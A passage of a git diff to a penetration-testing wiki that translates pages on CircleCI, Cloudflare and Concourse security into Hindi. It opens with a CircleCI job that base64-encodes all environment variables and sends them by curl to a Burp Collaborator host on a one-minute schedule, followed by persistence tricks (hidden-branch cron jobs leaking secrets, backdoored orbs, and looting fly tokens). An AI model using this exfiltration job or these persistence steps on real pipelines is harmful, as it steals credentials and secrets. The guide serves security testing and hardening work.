+docker: +- image: cimg/base:stable +steps: +- checkout +- run: +name: "Exfil env" +command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`" # I filter by the repo branch where this config.yaml file is located: circleci-project-setup workflows: - exfil-env-workflow: - triggers: - - schedule: - cron: "* * * * *" - filters: - branches: - only: - - circleci-project-setup - jobs: - - exfil-env: - context: Test-Context +exfil-env-workflow: +triggers: +- schedule: +cron: "* * * * *" +filters: +branches: +only: +- circleci-project-setup +jobs: +- exfil-env: +context: Test-Context ``` - > [!WARNING] -> Just creating a new `.circleci/config.yml` in a repo **isn't enough to trigger a circleci build**. You need to **enable it as a project in the circleci console**. +> एक नया `.circleci/config.yml` बनाना **circleci बिल्ड को ट्रिगर करने के लिए पर्याप्त नहीं है**। आपको **इसे circleci कंसोल में एक प्रोजेक्ट के रूप में सक्षम करना होगा**। -#### Escape to Cloud +#### क्लाउड में भागें -**CircleCI** gives you the option to run **your builds in their machines or in your own**.\ -By default their machines are located in GCP, and you initially won't be able to fid anything relevant. However, if a victim is running the tasks in **their own machines (potentially, in a cloud env)**, you might find a **cloud metadata endpoint with interesting information on it**. - -Notice that in the previous examples it was launched everything inside a docker container, but you can also **ask to launch a VM machine** (which may have different cloud permissions): +**CircleCI** आपको **अपने बिल्ड को उनके मशीनों या अपने खुद के मशीनों में चलाने का विकल्प देता है**।\ +डिफ़ॉल्ट रूप से, उनके मशीन GCP में स्थित हैं, और आप प्रारंभ में कुछ भी प्रासंगिक नहीं पा सकेंगे। हालाँकि, यदि एक पीड़ित **अपने खुद के मशीनों (संभवतः, एक क्लाउड वातावरण में)** में कार्य चला रहा है, तो आप एक **क्लाउड मेटाडेटा एंडपॉइंट पा सकते हैं जिसमें दिलचस्प जानकारी हो सकती है**। +ध्यान दें कि पिछले उदाहरणों में सब कुछ एक डॉकर कंटेनर के अंदर लॉन्च किया गया था, लेकिन आप **एक VM मशीन लॉन्च करने के लिए भी कह सकते हैं** (जिसके पास विभिन्न क्लाउड अनुमतियाँ हो सकती हैं): ```yaml jobs: - exfil-env: - #docker: - # - image: cimg/base:stable - machine: - image: ubuntu-2004:current +exfil-env: +#docker: +# - image: cimg/base:stable +machine: +image: ubuntu-2004:current ``` - -Or even a docker container with access to a remote docker service: - +या यहां तक कि एक डॉकर कंटेनर जो एक दूरस्थ डॉकर सेवा तक पहुंच रखता है: ```yaml jobs: - exfil-env: - docker: - - image: cimg/base:stable - steps: - - checkout - - setup_remote_docker: - version: 19.03.13 +exfil-env: +docker: +- image: cimg/base:stable +steps: +- checkout +- setup_remote_docker: +version: 19.03.13 ``` - #### Persistence -- It's possible to **create** **user tokens in CircleCI** to access the API endpoints with the users access. - - _https://app.circleci.com/settings/user/tokens_ -- It's possible to **create projects tokens** to access the project with the permissions given to the token. - - _https://app.circleci.com/settings/project/github/\/\/api_ -- It's possible to **add SSH keys** to the projects. - - _https://app.circleci.com/settings/project/github/\/\/ssh_ -- It's possible to **create a cron job in hidden branch** in an unexpected project that is **leaking** all the **context env** vars everyday. - - Or even create in a branch / modify a known job that will **leak** all context and **projects secrets** everyday. -- If you are a github owner you can **allow unverified orbs** and configure one in a job as **backdoor** -- You can find a **command injection vulnerability** in some task and **inject commands** via a **secret** modifying its value +- CircleCI में **उपयोगकर्ता टोकन** **बनाना** संभव है ताकि उपयोगकर्ता की पहुंच के साथ API एंडपॉइंट्स तक पहुंचा जा सके। +- _https://app.circleci.com/settings/user/tokens_ +- **प्रोजेक्ट टोकन** **बनाना** संभव है ताकि टोकन को दिए गए अनुमतियों के साथ प्रोजेक्ट तक पहुंचा जा सके। +- _https://app.circleci.com/settings/project/github/\/\/api_ +- प्रोजेक्ट्स में **SSH कुंजी** **जोड़ना** संभव है। +- _https://app.circleci.com/settings/project/github/\/\/ssh_ +- एक अप्रत्याशित प्रोजेक्ट में **छिपी शाखा में क्रॉन जॉब** **बनाना** संभव है जो हर दिन सभी **संदर्भ env** वेरिएबल्स **लीक** कर रहा है। +- या यहां तक कि एक शाखा में **बनाना** / एक ज्ञात जॉब को संशोधित करना जो हर दिन सभी संदर्भ और **प्रोजेक्ट्स के रहस्यों** को **लीक** करेगा। +- यदि आप एक गिटहब मालिक हैं, तो आप **असत्यापित ऑर्ब्स** की **अनुमति** दे सकते हैं और एक जॉब में इसे **बैकडोर** के रूप में कॉन्फ़िगर कर सकते हैं। +- आप कुछ कार्यों में **कमांड इंजेक्शन भेद्यता** पा सकते हैं और **गुप्त** के मान को संशोधित करके **कमांड** **इंजेक्ट** कर सकते हैं। {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md index 77d2c2c50..cce1642c4 100644 --- a/src/pentesting-ci-cd/cloudflare-security/README.md +++ b/src/pentesting-ci-cd/cloudflare-security/README.md @@ -26,7 +26,7 @@ cloudflare-domains.md ## Analytics -_I couldn't find anything to check for a config security review._ +_मैंने कॉन्फ़िगरेशन सुरक्षा समीक्षा के लिए कुछ नहीं पाया।_ ## Pages @@ -47,9 +47,9 @@ On each Cloudflare's worker check: - [ ] The triggers: What makes the worker trigger? Can a **user send data** that will be **used** by the worker? - [ ] In the **`Settings`**, check for **`Variables`** containing **sensitive information** - [ ] Check the **code of the worker** and search for **vulnerabilities** (specially in places where the user can manage the input) - - Check for SSRFs returning the indicated page that you can control - - Check XSSs executing JS inside a svg image - - It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input. +- Check for SSRFs returning the indicated page that you can control +- Check XSSs executing JS inside a svg image +- It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input. > [!WARNING] > Note that by default a **Worker is given a URL** such as `..workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it. @@ -94,34 +94,34 @@ cloudflare-zero-trust-network.md ## Notifications - [ ] Check the **notifications.** These notifications are recommended for security: - - `Usage Based Billing` - - `HTTP DDoS Attack Alert` - - `Layer 3/4 DDoS Attack Alert` - - `Advanced HTTP DDoS Attack Alert` - - `Advanced Layer 3/4 DDoS Attack Alert` - - `Flow-based Monitoring: Volumetric Attack` - - `Route Leak Detection Alert` - - `Access mTLS Certificate Expiration Alert` - - `SSL for SaaS Custom Hostnames Alert` - - `Universal SSL Alert` - - `Script Monitor New Code Change Detection Alert` - - `Script Monitor New Domain Alert` - - `Script Monitor New Malicious Domain Alert` - - `Script Monitor New Malicious Script Alert` - - `Script Monitor New Malicious URL Alert` - - `Script Monitor New Scripts Alert` - - `Script Monitor New Script Exceeds Max URL Length Alert` - - `Advanced Security Events Alert` - - `Security Events Alert` +- `Usage Based Billing` +- `HTTP DDoS Attack Alert` +- `Layer 3/4 DDoS Attack Alert` +- `Advanced HTTP DDoS Attack Alert` +- `Advanced Layer 3/4 DDoS Attack Alert` +- `Flow-based Monitoring: Volumetric Attack` +- `Route Leak Detection Alert` +- `Access mTLS Certificate Expiration Alert` +- `SSL for SaaS Custom Hostnames Alert` +- `Universal SSL Alert` +- `Script Monitor New Code Change Detection Alert` +- `Script Monitor New Domain Alert` +- `Script Monitor New Malicious Domain Alert` +- `Script Monitor New Malicious Script Alert` +- `Script Monitor New Malicious URL Alert` +- `Script Monitor New Scripts Alert` +- `Script Monitor New Script Exceeds Max URL Length Alert` +- `Advanced Security Events Alert` +- `Security Events Alert` - [ ] Check all the **destinations**, as there could be **sensitive info** (basic http auth) in webhook urls. Make also sure webhook urls use **HTTPS** - - [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous** +- [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous** ## Manage Account - [ ] It's possible to see the **last 4 digits of the credit card**, **expiration** time and **billing address** in **`Billing` -> `Payment info`**. - [ ] It's possible to see the **plan type** used in the account in **`Billing` -> `Subscriptions`**. - [ ] In **`Members`** it's possible to see all the members of the account and their **role**. Note that if the plan type isn't Enterprise, only 2 roles exist: Administrator and Super Administrator. But if the used **plan is Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) can be used to follow the least privilege principle. - - Therefore, whenever possible is **recommended** to use the **Enterprise plan**. +- Therefore, whenever possible is **recommended** to use the **Enterprise plan**. - [ ] In Members it's possible to check which **members** has **2FA enabled**. **Every** user should have it enabled. > [!NOTE] @@ -132,7 +132,3 @@ cloudflare-zero-trust-network.md [Check this part](cloudflare-domains.md#cloudflare-ddos-protection). {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md index 02989e685..8928d4eb8 100644 --- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md @@ -23,7 +23,7 @@ In each TLD configured in Cloudflare there are some **general settings and servi - [ ] Check for **proxified web pages** that can be **accessed directly** by CNAME or IP address - [ ] Check that **DNSSEC** is **enabled** - [ ] Check that **CNAME Flattening** is **used** in **all CNAMEs** - - This is could be useful to **hide subdomain takeover vulnerabilities** and improve load timings +- This is could be useful to **hide subdomain takeover vulnerabilities** and improve load timings - [ ] Check that the domains [**aren't vulnerable to spoofing**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing) ### **Email** @@ -53,25 +53,25 @@ TODO ### **Security** - [ ] In the **`WAF`** section it's interesting to check that **Firewall** and **rate limiting rules are used** to prevent abuses. - - The **`Bypass`** action will **disable Cloudflare security** features for a request. It shouldn't be used. +- The **`Bypass`** action will **disable Cloudflare security** features for a request. It shouldn't be used. - [ ] In the **`Page Shield`** section it's recommended to check that it's **enabled** if any page is used - [ ] In the **`API Shield`** section it's recommended to check that it's **enabled** if any API is exposed in Cloudflare - [ ] In the **`DDoS`** section it's recommended to enable the **DDoS protections** - [ ] In the **`Settings`** section: - - [ ] Check that the **`Security Level`** is **medium** or greater - - [ ] Check that the **`Challenge Passage`** is 1 hour at max - - [ ] Check that the **`Browser Integrity Check`** is **enabled** - - [ ] Check that the **`Privacy Pass Support`** is **enabled** +- [ ] Check that the **`Security Level`** is **medium** or greater +- [ ] Check that the **`Challenge Passage`** is 1 hour at max +- [ ] Check that the **`Browser Integrity Check`** is **enabled** +- [ ] Check that the **`Privacy Pass Support`** is **enabled** #### **CloudFlare DDoS Protection** - If you can, enable **Bot Fight Mode** or **Super Bot Fight Mode**. If you protecting some API accessed programmatically (from a JS front end page for example). You might not be able to enable this without breaking that access. - In **WAF**: You can create **rate limits by URL path** or to **verified bots** (Rate limiting rules), or to **block access** based on IP, Cookie, referrer...). So you could block requests that doesn't come from a web page or has a cookie. - - If the attack is from a **verified bot**, at least **add a rate limit** to bots. - - If the attack is to a **specific path**, as prevention mechanism, add a **rate limit** in this path. - - You can also **whitelist** IP addresses, IP ranges, countries or ASNs from the **Tools** in WAF. - - Check if **Managed rules** could also help to prevent vulnerability exploitations. - - In the **Tools** section you can **block or give a challenge to specific IPs** and **user agents.** +- If the attack is from a **verified bot**, at least **add a rate limit** to bots. +- If the attack is to a **specific path**, as prevention mechanism, add a **rate limit** in this path. +- You can also **whitelist** IP addresses, IP ranges, countries or ASNs from the **Tools** in WAF. +- Check if **Managed rules** could also help to prevent vulnerability exploitations. +- In the **Tools** section you can **block or give a challenge to specific IPs** and **user agents.** - In DDoS you could **override some rules to make them more restrictive**. - **Settings**: Set **Security Level** to **High** and to **Under Attack** if you are Under Attack and that the **Browser Integrity Check is enabled**. - In Cloudflare Domains -> Analytics -> Security -> Check if **rate limit** is enabled @@ -131,7 +131,3 @@ TODO TODO {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md index 491ae7bc1..9aad5d6a4 100644 --- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md @@ -13,8 +13,8 @@ In a **Cloudflare Zero Trust Network** account there are some **settings and ser ### **Gateway** - [ ] In **`Policies`** it's possible to generate policies to **restrict** by **DNS**, **network** or **HTTP** request who can access applications. - - If used, **policies** could be created to **restrict** the access to malicious sites. - - This is **only relevant if a gateway is being used**, if not, there is no reason to create defensive policies. +- If used, **policies** could be created to **restrict** the access to malicious sites. +- This is **only relevant if a gateway is being used**, if not, there is no reason to create defensive policies. ### Access @@ -23,18 +23,18 @@ In a **Cloudflare Zero Trust Network** account there are some **settings and ser On each application: - [ ] Check **who** can access to the application in the **Policies** and check that **only** the **users** that **need access** to the application can access. - - To allow access **`Access Groups`** are going to be used (and **additional rules** can be set also) +- To allow access **`Access Groups`** are going to be used (and **additional rules** can be set also) - [ ] Check the **available identity providers** and make sure they **aren't too open** - [ ] In **`Settings`**: - - [ ] Check **CORS isn't enabled** (if it's enabled, check it's **secure** and it isn't allowing everything) - - [ ] Cookies should have **Strict Same-Site** attribute, **HTTP Only** and **binding cookie** should be **enabled** if the application is HTTP. - - [ ] Consider enabling also **Browser rendering** for better **protection. More info about** [**remote browser isolation here**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.** +- [ ] Check **CORS isn't enabled** (if it's enabled, check it's **secure** and it isn't allowing everything) +- [ ] Cookies should have **Strict Same-Site** attribute, **HTTP Only** and **binding cookie** should be **enabled** if the application is HTTP. +- [ ] Consider enabling also **Browser rendering** for better **protection. More info about** [**remote browser isolation here**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.** #### **Access Groups** - [ ] Check that the access groups generated are **correctly restricted** to the users they should allow. - [ ] It's specially important to check that the **default access group isn't very open** (it's **not allowing too many people**) as by **default** anyone in that **group** is going to be able to **access applications**. - - Note that it's possible to give **access** to **EVERYONE** and other **very open policies** that aren't recommended unless 100% necessary. +- Note that it's possible to give **access** to **EVERYONE** and other **very open policies** that aren't recommended unless 100% necessary. #### Service Auth @@ -59,7 +59,3 @@ TODO - [ ] It's recommended to **add a User Seat Expiration** to remove users that doesn't really use this service {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/concourse-security/README.md b/src/pentesting-ci-cd/concourse-security/README.md index bcf20facf..53ef08ab9 100644 --- a/src/pentesting-ci-cd/concourse-security/README.md +++ b/src/pentesting-ci-cd/concourse-security/README.md @@ -4,11 +4,11 @@ ## Basic Information -Concourse allows you to **build pipelines** to automatically run tests, actions and build images whenever you need it (time based, when something happens...) +Concourse आपको **पाइपलाइनों** का निर्माण करने की अनुमति देता है ताकि आप जब भी आवश्यकता हो (समय आधारित, जब कुछ होता है...) परीक्षण, क्रियाएँ और छवियाँ स्वचालित रूप से चला सकें। ## Concourse Architecture -Learn how the concourse environment is structured in: +जानें कि concourse वातावरण कैसे संरचित है: {{#ref}} concourse-architecture.md @@ -16,7 +16,7 @@ concourse-architecture.md ## Concourse Lab -Learn how you can run a concourse environment locally to do your own tests in: +जानें कि आप अपने परीक्षण करने के लिए स्थानीय रूप से concourse वातावरण कैसे चला सकते हैं: {{#ref}} concourse-lab-creation.md @@ -24,14 +24,10 @@ concourse-lab-creation.md ## Enumerate & Attack Concourse -Learn how you can enumerate the concourse environment and abuse it in: +जानें कि आप concourse वातावरण को कैसे सूचीबद्ध कर सकते हैं और इसका दुरुपयोग कैसे कर सकते हैं: {{#ref}} concourse-enumeration-and-attacks.md {{#endref}} {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md index d70167906..1f84220ff 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md @@ -4,39 +4,35 @@ {{#include ../../banners/hacktricks-training.md}} -[**Relevant data from Concourse documentation:**](https://concourse-ci.org/internals.html) +[**Concourse दस्तावेज़ से प्रासंगिक डेटा:**](https://concourse-ci.org/internals.html) ### Architecture ![](<../../images/image (187).png>) -#### ATC: web UI & build scheduler +#### ATC: वेब UI और निर्माण शेड्यूलर -The ATC is the heart of Concourse. It runs the **web UI and API** and is responsible for all pipeline **scheduling**. It **connects to PostgreSQL**, which it uses to store pipeline data (including build logs). +ATC Concourse का दिल है। यह **वेब UI और API** चलाता है और सभी पाइपलाइन **शेड्यूलिंग** के लिए जिम्मेदार है। यह **PostgreSQL** से **जुड़ता है**, जिसका उपयोग यह पाइपलाइन डेटा (निर्माण लॉग सहित) संग्रहीत करने के लिए करता है। -The [checker](https://concourse-ci.org/checker.html)'s responsibility is to continuously checks for new versions of resources. The [scheduler](https://concourse-ci.org/scheduler.html) is responsible for scheduling builds for a job and the [build tracker](https://concourse-ci.org/build-tracker.html) is responsible for running any scheduled builds. The [garbage collector](https://concourse-ci.org/garbage-collector.html) is the cleanup mechanism for removing any unused or outdated objects, such as containers and volumes. +[checker](https://concourse-ci.org/checker.html) की जिम्मेदारी नए संसाधनों के संस्करणों की लगातार जांच करना है। [scheduler](https://concourse-ci.org/scheduler.html) किसी नौकरी के लिए निर्माणों को शेड्यूल करने के लिए जिम्मेदार है और [build tracker](https://concourse-ci.org/build-tracker.html) किसी भी शेड्यूल किए गए निर्माणों को चलाने के लिए जिम्मेदार है। [garbage collector](https://concourse-ci.org/garbage-collector.html) किसी भी अप्रयुक्त या पुरानी वस्तुओं, जैसे कंटेनरों और वॉल्यूम को हटाने के लिए सफाई तंत्र है। -#### TSA: worker registration & forwarding +#### TSA: कार्यकर्ता पंजीकरण और अग्रेषण -The TSA is a **custom-built SSH server** that is used solely for securely **registering** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) with the [ATC](https://concourse-ci.org/internals.html#component-atc). +TSA एक **कस्टम-निर्मित SSH सर्वर** है जिसका उपयोग केवल [**कार्यकर्ताओं**](https://concourse-ci.org/internals.html#architecture-worker) को [ATC](https://concourse-ci.org/internals.html#component-atc) के साथ सुरक्षित रूप से **पंजीकरण** करने के लिए किया जाता है। -The TSA by **default listens on port `2222`**, and is usually colocated with the [ATC](https://concourse-ci.org/internals.html#component-atc) and sitting behind a load balancer. +TSA **डिफ़ॉल्ट रूप से `2222` पोर्ट पर सुनता है**, और आमतौर पर [ATC](https://concourse-ci.org/internals.html#component-atc) के साथ स्थित होता है और लोड बैलेंसर के पीछे होता है। -The **TSA implements CLI over the SSH connection,** supporting [**these commands**](https://concourse-ci.org/internals.html#component-tsa). +**TSA SSH कनेक्शन पर CLI लागू करता है,** [**इन आदेशों**](https://concourse-ci.org/internals.html#component-tsa) का समर्थन करता है। #### Workers -In order to execute tasks concourse must have some workers. These workers **register themselves** via the [TSA](https://concourse-ci.org/internals.html#component-tsa) and run the services [**Garden**](https://github.com/cloudfoundry-incubator/garden) and [**Baggageclaim**](https://github.com/concourse/baggageclaim). +कार्य करने के लिए Concourse को कुछ कार्यकर्ताओं की आवश्यकता होती है। ये कार्यकर्ता [TSA](https://concourse-ci.org/internals.html#component-tsa) के माध्यम से **स्वयं को पंजीकृत** करते हैं और सेवाओं [**Garden**](https://github.com/cloudfoundry-incubator/garden) और [**Baggageclaim**](https://github.com/concourse/baggageclaim) को चलाते हैं। -- **Garden**: This is the **Container Manage AP**I, usually run in **port 7777** via **HTTP**. -- **Baggageclaim**: This is the **Volume Management API**, usually run in **port 7788** via **HTTP**. +- **Garden**: यह **कंटेनर प्रबंधन API** है, जो आमतौर पर **HTTP** के माध्यम से **पोर्ट 7777** पर चलता है। +- **Baggageclaim**: यह **वॉल्यूम प्रबंधन API** है, जो आमतौर पर **HTTP** के माध्यम से **पोर्ट 7788** पर चलता है। ## References - [https://concourse-ci.org/internals.html](https://concourse-ci.org/internals.html) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md index 4b778a804..ce0a295cb 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md @@ -6,47 +6,45 @@ ### User Roles & Permissions -Concourse comes with five roles: +Concourse में पांच भूमिकाएँ होती हैं: -- _Concourse_ **Admin**: This role is only given to owners of the **main team** (default initial concourse team). Admins can **configure other teams** (e.g.: `fly set-team`, `fly destroy-team`...). The permissions of this role cannot be affected by RBAC. -- **owner**: Team owners can **modify everything within the team**. -- **member**: Team members can **read and write** within the **teams assets** but cannot modify the team settings. -- **pipeline-operator**: Pipeline operators can perform **pipeline operations** such as triggering builds and pinning resources, however they cannot update pipeline configurations. -- **viewer**: Team viewers have **"read-only" access to a team** and its pipelines. +- _Concourse_ **Admin**: यह भूमिका केवल **मुख्य टीम** (डिफ़ॉल्ट प्रारंभिक concourse टीम) के मालिकों को दी जाती है। एडमिन **अन्य टीमों को कॉन्फ़िगर** कर सकते हैं (जैसे: `fly set-team`, `fly destroy-team`...)। इस भूमिका के अनुमतियों को RBAC द्वारा प्रभावित नहीं किया जा सकता। +- **owner**: टीम के मालिक **टीम के भीतर सब कुछ संशोधित** कर सकते हैं। +- **member**: टीम के सदस्य **टीम की संपत्तियों के भीतर पढ़ सकते हैं और लिख सकते हैं** लेकिन टीम सेटिंग्स को संशोधित नहीं कर सकते। +- **pipeline-operator**: पाइपलाइन ऑपरेटर **पाइपलाइन संचालन** कर सकते हैं जैसे बिल्ड को ट्रिगर करना और संसाधनों को पिन करना, हालाँकि वे पाइपलाइन कॉन्फ़िगरेशन को अपडेट नहीं कर सकते। +- **viewer**: टीम के दर्शकों को **टीम** और इसकी पाइपलाइनों तक **"पढ़ने के लिए केवल"** पहुंच होती है। > [!NOTE] -> Moreover, the **permissions of the roles owner, member, pipeline-operator and viewer can be modified** configuring RBAC (configuring more specifically it's actions). Read more about it in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html) +> इसके अलावा, **owner, member, pipeline-operator और viewer की भूमिकाओं के अनुमतियों को RBAC कॉन्फ़िगर करके संशोधित किया जा सकता है** (विशेष रूप से इसके कार्यों को कॉन्फ़िगर करना)। इसके बारे में अधिक पढ़ें: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html) -Note that Concourse **groups pipelines inside Teams**. Therefore users belonging to a Team will be able to manage those pipelines and **several Teams** might exist. A user can belong to several Teams and have different permissions inside each of them. +ध्यान दें कि Concourse **टीमों के भीतर पाइपलाइनों को समूहित करता है**। इसलिए, एक टीम से संबंधित उपयोगकर्ता उन पाइपलाइनों का प्रबंधन कर सकेंगे और **कई टीमें** हो सकती हैं। एक उपयोगकर्ता कई टीमों से संबंधित हो सकता है और प्रत्येक में विभिन्न अनुमतियाँ हो सकती हैं। ### Vars & Credential Manager -In the YAML configs you can configure values using the syntax `((_source-name_:_secret-path_._secret-field_))`.\ -[From the docs:](https://concourse-ci.org/vars.html#var-syntax) The **source-name is optional**, and if omitted, the [cluster-wide credential manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) will be used, or the value may be provided [statically](https://concourse-ci.org/vars.html#static-vars).\ -The **optional \_secret-field**\_ specifies a field on the fetched secret to read. If omitted, the credential manager may choose to read a 'default field' from the fetched credential if the field exists.\ -Moreover, the _**secret-path**_ and _**secret-field**_ may be surrounded by double quotes `"..."` if they **contain special characters** like `.` and `:`. For instance, `((source:"my.secret"."field:1"))` will set the _secret-path_ to `my.secret` and the _secret-field_ to `field:1`. +YAML कॉन्फ़िग्स में आप `((_source-name_:_secret-path_._secret-field_))` सिंटैक्स का उपयोग करके मान कॉन्फ़िगर कर सकते हैं।\ +[दस्तावेज़ से:](https://concourse-ci.org/vars.html#var-syntax) **source-name वैकल्पिक है**, और यदि छोड़ा गया है, तो [क्लस्टर-व्यापी क्रेडेंशियल प्रबंधक](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) का उपयोग किया जाएगा, या मान [स्थैतिक रूप से](https://concourse-ci.org/vars.html#static-vars) प्रदान किया जा सकता है।\ +**वैकल्पिक \_secret-field**\_ उस फ़ील्ड को निर्दिष्ट करता है जिसे प्राप्त किए गए रहस्य से पढ़ा जाना है। यदि छोड़ा गया है, तो क्रेडेंशियल प्रबंधक प्राप्त किए गए क्रेडेंशियल से 'डिफ़ॉल्ट फ़ील्ड' पढ़ने का विकल्प चुन सकता है यदि फ़ील्ड मौजूद है।\ +इसके अलावा, _**secret-path**_ और _**secret-field**_ को डबल कोट्स `"..."` में रखा जा सकता है यदि वे **विशेष वर्ण** जैसे `.` और `:` शामिल करते हैं। उदाहरण के लिए, `((source:"my.secret"."field:1"))` _secret-path_ को `my.secret` और _secret-field_ को `field:1` पर सेट करेगा। #### Static Vars -Static vars can be specified in **tasks steps**: - +स्थैतिक vars को **कार्य चरणों** में निर्दिष्ट किया जा सकता है: ```yaml - task: unit-1.13 - file: booklit/ci/unit.yml - vars: { tag: 1.13 } +file: booklit/ci/unit.yml +vars: { tag: 1.13 } ``` - Or using the following `fly` **arguments**: -- `-v` or `--var` `NAME=VALUE` sets the string `VALUE` as the value for the var `NAME`. -- `-y` or `--yaml-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the var `NAME`. -- `-i` or `--instance-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the instance var `NAME`. See [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) to learn more about instance vars. -- `-l` or `--load-vars-from` `FILE` loads `FILE`, a YAML document containing mapping var names to values, and sets them all. +- `-v` or `--var` `NAME=VALUE` स्ट्रिंग `VALUE` को var `NAME` के लिए मान के रूप में सेट करता है। +- `-y` or `--yaml-var` `NAME=VALUE` `VALUE` को YAML के रूप में पार्स करता है और इसे var `NAME` के लिए मान के रूप में सेट करता है। +- `-i` or `--instance-var` `NAME=VALUE` `VALUE` को YAML के रूप में पार्स करता है और इसे instance var `NAME` के लिए मान के रूप में सेट करता है। instance vars के बारे में अधिक जानने के लिए [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) देखें। +- `-l` or `--load-vars-from` `FILE` `FILE` को लोड करता है, जो मानों के लिए var नामों को मैप करने वाला एक YAML दस्तावेज़ है, और उन्हें सभी सेट करता है। #### Credential Management -There are different ways a **Credential Manager can be specified** in a pipeline, read how in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\ -Moreover, Concourse supports different credential managers: +एक पाइपलाइन में **Credential Manager को विभिन्न तरीकों से निर्दिष्ट किया जा सकता है**, इसके बारे में पढ़ें [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html)।\ +इसके अलावा, Concourse विभिन्न क्रेडेंशियल प्रबंधकों का समर्थन करता है: - [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html) - [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html) @@ -59,66 +57,64 @@ Moreover, Concourse supports different credential managers: - [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html) > [!CAUTION] -> Note that if you have some kind of **write access to Concourse** you can create jobs to **exfiltrate those secrets** as Concourse needs to be able to access them. +> ध्यान दें कि यदि आपके पास **Concourse पर कुछ प्रकार की लिखने की पहुंच** है तो आप **उन रहस्यों को निकालने के लिए नौकरियां बना सकते हैं** क्योंकि Concourse को उन्हें एक्सेस करने में सक्षम होना चाहिए। ### Concourse Enumeration -In order to enumerate a concourse environment you first need to **gather valid credentials** or to find an **authenticated token** probably in a `.flyrc` config file. +एक concourse वातावरण को सूचीबद्ध करने के लिए, आपको पहले **मान्य क्रेडेंशियल्स** इकट्ठा करने की आवश्यकता है या एक **प्रमाणित टोकन** खोजने की आवश्यकता है जो शायद एक `.flyrc` कॉन्फ़िग फ़ाइल में हो। #### Login and Current User enum -- To login you need to know the **endpoint**, the **team name** (default is `main`) and a **team the user belongs to**: - - `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]` -- Get configured **targets**: - - `fly targets` -- Get if the configured **target connection** is still **valid**: - - `fly -t status` -- Get **role** of the user against the indicated target: - - `fly -t userinfo` +- लॉगिन करने के लिए आपको **endpoint**, **team name** (डिफ़ॉल्ट `main` है) और **team जिसका उपयोगकर्ता सदस्य है** जानना होगा: +- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]` +- कॉन्फ़िगर किए गए **targets** प्राप्त करें: +- `fly targets` +- जांचें कि कॉन्फ़िगर किया गया **target connection** अभी भी **मान्य** है: +- `fly -t status` +- निर्दिष्ट लक्ष्य के खिलाफ उपयोगकर्ता की **भूमिका** प्राप्त करें: +- `fly -t userinfo` > [!NOTE] -> Note that the **API token** is **saved** in `$HOME/.flyrc` by default, you looting a machines you could find there the credentials. +> ध्यान दें कि **API token** डिफ़ॉल्ट रूप से `$HOME/.flyrc` में **सहेजा गया** है, आप मशीनों को लूटते समय वहां क्रेडेंशियल्स पा सकते हैं। #### Teams & Users -- Get a list of the Teams - - `fly -t teams` -- Get roles inside team - - `fly -t get-team -n ` -- Get a list of users - - `fly -t active-users` +- टीमों की सूची प्राप्त करें +- `fly -t teams` +- टीम के भीतर भूमिकाएँ प्राप्त करें +- `fly -t get-team -n ` +- उपयोगकर्ताओं की सूची प्राप्त करें +- `fly -t active-users` #### Pipelines -- **List** pipelines: - - `fly -t pipelines -a` -- **Get** pipeline yaml 